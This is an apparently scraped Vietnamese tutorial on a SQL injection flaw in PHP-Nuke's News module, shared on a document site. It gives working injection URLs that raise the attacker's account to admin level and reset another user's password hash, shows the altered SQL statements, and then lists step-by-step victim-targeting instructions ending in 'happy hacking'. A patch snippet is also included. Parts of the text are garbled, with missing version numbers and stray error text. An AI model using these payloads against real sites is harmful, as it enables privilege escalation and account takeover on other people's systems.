tailieunhanh - Lỗi trong PHP
Tham khảo tài liệu lỗi trong php , công nghệ thông tin, an ninh - bảo mật phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | .Lỗi trong PHP-Nuke cho phép đạt quyền Admin , thay đổi pass user khác : trang này đã được đọc lần PHP-Nuke có một lổ hổng bảo mật cho phép các attacker sử dụng PHP-Nuke's News module để chèn các câu lệnh SQL nguy hiểm vào, có quyền Admin, sửa password Các phiên bản PHP-Nuke bị lỗi: PHP-Nuke , , RC1, RC2, RC3, và Khai thác 1/ Thay đổi cấp bậc (set to Admin): Sử dụng link sau: http://[target]/',user_level='4 Khi ta sử dụng những URL trên thì nó sẽ làm thay đổi cấu trúc các câu lệnh SQL: UPDATE nuke_users SET umode='111', uorder='111', thold='111' where uid='1526' Thành: UPDATE nuke_users SET umode='', user_level='4', uorder='111', thold='111' where uid='1526' Câu lệnh trên đã set một người dùng có UID là 1526 từ một cấp bất kì lên cấp 4. Hehehe nó sẽ cho ta những đặc quyền cao cấp của Admin (level 4 là cấp của Admin mừ :D). Để chắc ăn là thành công, bạn nên đăng nhập vào hệ thống đó (nhằm có được uid=’****’ hiện thời đang truy cập cơ sở dữ liệu của victim để mà set lên Admin chứ) 2/ Thay đổi Password của một người nào đó. Sữ dụng link sau: http://[target]/',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/* URL trên cho phép ta đổi password của một nười dùng tên Bob thành d41d8cd98f00b204e9800998ecf8427e vì khi thực hiện dòng URL này thì những câu lệnh của SQL từ: UPDATE nuke_users SET umode='111', uorder='',pass='d41d8cd98f00b204e9800998ecf8427e', thold='111' where uid='1526' Thành: UPDATE nuke_users SET umode='111', uorder='',pass='d41d8cd98f00b204e9800998ecf8427e' where uname='Bob'/*', thold='111' where uid='1526' Password được đổi một cách ngon ơ. :D Khắc phục Trong tập tin sữa những dòng sau: [.] foreach ($_GET as $secvalue) { if ((eregi("]*script*\"?[^>]*>", $secvalue)) || (eregi("]*object*\"?[^>]*>", $secvalue)) || (eregi("\.\.", $secvalue)) || (eregi("]*iframe*\"?[^>]*>", $secvalue)) || (eregi("]*applet*\"?[^>]*>", $secvalue)) || (eregi("]*meta*\"?[^>]*>", $secvalue)) || (eregi("]*style*\"?[^>]*>", $secvalue)) || (eregi("]*form*\"?[^>]*>", $secvalue)) || (eregi("]*img*\"?[^>]*>", $secvalue)) || (eregi("\([^>]*\"?[^)]*\)", $secvalue)) || (eregi("\"", $secvalue))) { Header("Location: "); die(); } } foreach ($_POST as $secvalue) { if (eregi("]*script*\"?[^>]*>", $secvalue)) { Header("Location: "); die(); } } [.] Thành: foreach ($_REQUEST as $key=>$value) { if (get_magic_quotes_gpc()==0) { $value = addslashes($value); // This will reproduce the option magic_quotes_gpc=1 } $value = str_replace(array(')','=','','|'),array(')','=','','|'),$value); ${$key} = $value; $_REQUEST[$key] = $value; if (isset($_POST[$key])) { $_POST[$key] = $value; } if (isset($_COOKIE[$key])) { $_COOKIE[$key] = $value; } if (isset($_FILE[$key])) { $_FILE[$key] = $value; } if (isset($_GET[$key])) { $_GET[$key] = $value; } if (isset($HTTP_POST_VARS[$key])) { $HTTP_POST_VARS[$key] = $value; } if (isset($HTTP_COOKIE_VARS[$key])) { $HTTP_COOKIE_VARS[$key] = $value; } if (isset($HTTP_FILE_VARS[$key])) { $HTTP_FILE_VARS[$key] = $value; } if (isset($HTTP_GET_VARS[$key])) { $HTTP_GET_VARS[$key] = $value; } } Hack vui vẻ Chú Ý: Để thực hiện được phương pháp tấn công này bạn làm theo mấy bước sau: 1/ Đăng kí làm thành viên ở trang của victim. 2/ Đăng nhập và trang đó với tài khoản vừa tạo. 3/ Copy link của tôi trong bài trên viết để tự set mình lên Admin (Phải đăng nhập trước khi thực hiện) Vậy là xong. Error! Unknown switch argument.
đang nạp các trang xem trước